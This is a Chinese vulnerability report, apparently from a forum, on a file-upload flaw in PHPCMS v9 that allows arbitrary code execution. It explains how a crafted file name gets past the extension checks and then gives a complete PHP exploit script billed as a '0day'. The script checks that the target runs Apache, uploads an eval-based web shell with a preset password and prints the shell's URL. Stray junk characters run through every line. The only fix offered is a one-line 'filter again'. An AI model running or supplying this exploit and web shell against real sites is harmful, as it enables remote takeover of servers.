漏洞类型: 文件上传导致任意代码执行2 z/ M6 e/ A2 H5 L
U& L9 p* g3 M" H5 u5 r& Z
简要描述:! Q* c. l$ Z& O: m" y
m c+ K9 y- \& D5 Iphpcms v9 getshell (apache)# f1 T' T H* l9 l( d1 O6 s6 E
详细说明:
3 s& B5 M2 f. e7 }3 q% |; d+ `! }6 F4 K) F# M' q0 Y
漏洞文件:phpcms\modules\attachment\attachments.php
, \0 c' W/ }% I' e q7 H% d: ~. J3 S
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
6 k0 u, R" ^( g; m }后缀检测:phpcms\modules\attachment\functions\global.func.php
* O' [, o. w {+ l( `
% P5 @2 p, q1 i
/ m1 y6 L3 B! d8 k
: g3 p- R* p) h g$ `6 s# z) ifunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } 9 u0 s% u4 t/ M
c1 O' f; h/ {1 ~
关键函数: W3 P9 T4 w5 u/ q& I
C$ H* k6 o" X& U
* E" q/ n+ ]: t6 ]
9 n, k& i/ t3 v% ]6 ofunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } - f! C6 f4 W% |6 c
) N! E! H0 U! k0 C! ], R
Fileext函数是对文件后缀名的提取。
# @; o4 f) x! J: B4 v0 t! ^+ j根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
7 Z0 {3 d' z( ^经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
) j' g; @. G: f$ Y我们回到public function crop_upload() 函数中9 P$ p5 J$ l6 m5 Z. d& F, N
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
& \0 R2 `) A6 |0 D在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数4 M" Z; K* W4 |8 b/ F1 o$ d4 s
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
; {& y7 q5 G7 ^/ f- b2 m2 H经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
+ y4 }) t) B( `- @- G最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。8 T5 |: |3 n" z1 [4 d
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
$ y6 F* G# a2 u" P% D1 N漏洞证明:
5 k& [' c' S. L- m J/ g, H( O% k5 a. H: Z, z3 g7 B" L
exp:
1 W1 e) @ E9 ]5 `9 L7 l0 j/ k0 [" N( |% K! a/ G
<?php
! u2 t, i) O2 o5 {0 lerror_reporting(E_ERROR);
- U7 W0 z9 f5 }' B$ jset_time_limit(0);/ r/ w Q7 D/ Z5 W6 l+ ]+ A
$pass="ln";6 ?2 u' d& j8 t; L7 `4 _8 X7 R
print_r('
0 h! _2 | v3 M3 W& F; m4 ~+---------------------------------------------------------------------------+
6 [) e8 Q) F: M# Y% }- ?1 {: pPHPCms V9 GETSHELL 0DAY 6 I" @$ B* |5 U% ]8 Q
code by L.N.% j, J A; p+ @2 E' w( m
$ b7 k8 H- Q" J+ i5 |
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
$ o8 I3 C7 t% k: m0 a7 e" F3 K+---------------------------------------------------------------------------+
! {& J3 U' D& u. Z$ s6 S$ t');
" S3 s* o/ ~4 i) H v' W$ Hif ($argc < 2) {
7 d' ]8 W, }/ d' t) W$ s$ B+ uprint_r('; B# L+ @4 y8 f" c, E$ Z' E
+---------------------------------------------------------------------------+
n5 t- t# R3 I/ V, T9 f1 o; K$ ~Usage: php '.$argv[0].' url path
) T1 K0 L; V1 H, l! ~8 K) x5 V
* W; d l7 h9 e% @8 N/ WExample:' J% o) N% U* @' _' K. q6 x& t
1.php '.$argv[0].' lanu.sinaapp.com0 T9 M2 e+ t6 L7 q9 k
2.php '.$argv[0].' lanu.sinaapp.com /phpcms* Z8 Y1 y# C9 v& ?
+---------------------------------------------------------------------------+
# n8 p) c3 `6 P/ t');+ J2 ^! K' ^* f
exit;, i4 m4 ]; F* i, D A
}! b" X. p5 H# i: _! y) v; {
/ ~* g" b T9 n& d$ E3 R1 T: x
$url = $argv[1];
5 ^/ D8 R( y( }9 B$path = $argv[2];( W2 q; T3 `- r, C: F& V# s
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';8 ~3 B' i/ C. W/ C! W4 l
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
; u# o2 \( C, v/ uif($ret=Create_dir($url,$path))" B6 L% {6 l/ \# [" b
{4 W+ z! S7 Q' ]5 [; Y3 E( |5 X" H
//echo $ret;
1 Q: T7 s; x6 A8 ]- s" b$pattern = "|Server:[^,]+?|U";
E0 w: S3 ~( B- I! _preg_match_all($pattern, $ret, $matches);
& R# n- ^# } M0 sif($matches[0][0])* F) }/ V. x; \( @8 S( r1 i
{
- i6 s! z \" A$ x0 v9 Y, O/ R- cif(strpos($matches[0][0],'Apache') == false)
/ f) i* |+ a; D4 ^: s9 Y% @{1 Y8 p8 k5 R# r6 q5 f
echo "\n亲!此网站不是apache的网站。\n";exit;
# O' \, x% l6 y" h0 U0 L' h}1 C: c. S5 C7 d! p9 r! G/ ~
}
) d2 A0 R9 } s0 O8 g1 R0 U$ret = GetShell($url,$phpshell,$path,$file);; T' _! Z# g, h# ]" ~+ b/ U
$pattern = "|http:\/\/[^,]+?\.,?|U";, [# \4 a* _! u9 j3 e! f# L: ^
preg_match_all($pattern, $ret, $matches);7 D) w' W+ e: V% |" @; S2 [7 g1 |$ ?
if($matches[0][0]); Y' f1 S- i0 j, ^/ g) P
{
7 e. X- o5 G# c0 }2 _" Pecho "\n".'密码为: '.$pass."\n";
* k' Z# s2 E( K; ~/ Pecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
& w- G% I& y2 M. ~& l% e/ w0 w( p}
% J/ y' X) _$ I8 C- ~8 f( x7 Xelse
: D! E+ s7 k: m4 T/ c7 ~{
: K r# N) O$ C3 U, H3 ]$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
) M( W3 s* O) h$ P+ t tpreg_match_all($pattern, $ret, $matches);
; @1 M# J. ~ ]6 p# X9 O5 Pif($matches[0][0]) Q: }4 f% p( e |
{
$ U/ B% f) {2 n/ p7 H. L, i( Becho "\n".'密码为: '.$pass."\n";
' z& `0 M1 } h. Qecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
7 a$ Y( a% `9 w; `. n}, D5 \: H1 m3 d
else
# T# t" j, A7 k{
6 C8 K3 G& G, h0 f! n recho "\r\n没得到!\n";exit; v! G3 }6 G) K1 S
}) z, _0 ^4 G D3 X* m
}
& L; i2 s$ s: P) g& Y4 i6 K, J}( k) V7 U- q1 u( X: r
+ m" I) ~8 o3 I( Y, kfunction GetShell($url,$shell,$path,$js)" a6 d3 X- {+ w! d2 L2 k
{
( D4 s$ E" H& o3 }5 f1 T$content =$shell;
9 |6 @9 @# m2 a. B6 _$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
5 G) ~8 a2 Y F$ e$data .= "Host: ".$url."\r\n";. O: G! V# c8 H. W
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";, P7 O% h; E8 [8 Z7 S2 O2 u$ H
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
* a, |7 W& X3 {$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
2 B. ~7 O0 }# ]1 A+ o$data .= "Connection: close\r\n";
2 C6 W+ T' S5 j: A% S$ {# W$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
: ?0 A! t; C& q. p3 f* A9 d$data .= $content."\r\n";
3 h* S+ M5 p+ v0 w- c# E5 i$ock=fsockopen($url,80);$ g' L" k* g) z+ x
if (!$ock)
( W, [, e4 K) K0 s M{
* `% m* Z' M% k6 p2 h& Y, T) cecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
6 ] Z& N' {# |/ }) }}
6 }9 R$ M6 v- D( Z& X" Telse, t5 Y3 j: \+ _5 A1 }6 F8 S# |$ \8 c
{5 k/ u$ l# c% [' N2 O5 Y; D0 v
fwrite($ock,$data);! l% e3 M8 ]6 K1 H7 k6 X# L! _
$resp = ''; V# y/ l9 e8 J* f2 q( w5 m/ a8 O
while (!feof($ock))1 W6 H0 x% j6 r8 r% c" \' D Q; o1 M
{/ H2 H# {7 G6 g) T
$resp.=fread($ock, 1024);
4 P+ h% e% V+ l) u3 ?6 K( }# z2 \" v}
% g; t& c6 `3 V' }& ?- {( n- ^return $resp;
3 u* B) G" g$ H' i4 `) a+ d4 T}1 ?% I) k2 w, B; O/ r
}9 U, a1 K) S" i8 D! B
7 P4 C3 S Y7 @: O7 sfunction Create_dir($url,$path='')/ U" a2 P! r* h7 O# M' J% e, v2 q
{# Y2 c7 E: n2 k
$content ='I love you';
- Y9 i% Q! j) S. H5 J$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";( Y2 m9 g) K7 g6 x
$data .= "Host: ".$url."\r\n";
2 l+ i$ a2 |- c( l5 U$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";% C% F( Q$ \) F
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; H, R; N( P2 G% m4 _7 v d/ D% J
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n"; c+ h: q+ W4 W1 k, L* ^
$data .= "Connection: close\r\n";, v) U5 f( l4 O
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
( ]& L4 e* N7 Y4 @0 i$data .= $content."\r\n";) a1 ?1 x `4 F# u% E) a5 s/ J
$ock=fsockopen($url,80);
" j+ Y# [, T2 U3 `if (!$ock)
4 S/ }$ j$ X; n{
+ U8 s4 M% Q5 M# d* [echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
3 o8 w2 y: i J1 a4 y' \. w3 W" u}0 p+ U: M5 B& p9 C3 F% v
fwrite($ock,$data);
* e" e7 X. P6 h6 [7 E2 U$ ?7 B1 m$resp = '';
* h2 w9 e7 c q5 V& i" {while (!feof($ock))" c- P {( B; i! Q, m4 t
{. V7 L/ O: h- h2 |
$resp.=fread($ock, 1024);" r! V0 \0 O1 b; O" F
}
1 T# }0 b; T( W5 D0 v9 B, Qreturn $resp;
% Y$ x/ b- y2 j4 S {}. s( O1 k0 R) e# o% H
?> % N8 M" B* m' }& p7 v
7 F8 x% q5 f% t$ B- D
修复方案:
; N0 S( a X6 |4 f4 k, s9 w4 R! u+ G- X
" f3 F( O# m' o; `过滤过滤再过滤' Q2 W; J# _; O; ]0 ]+ ^
5 J# U }! h5 `* m" j$ [ |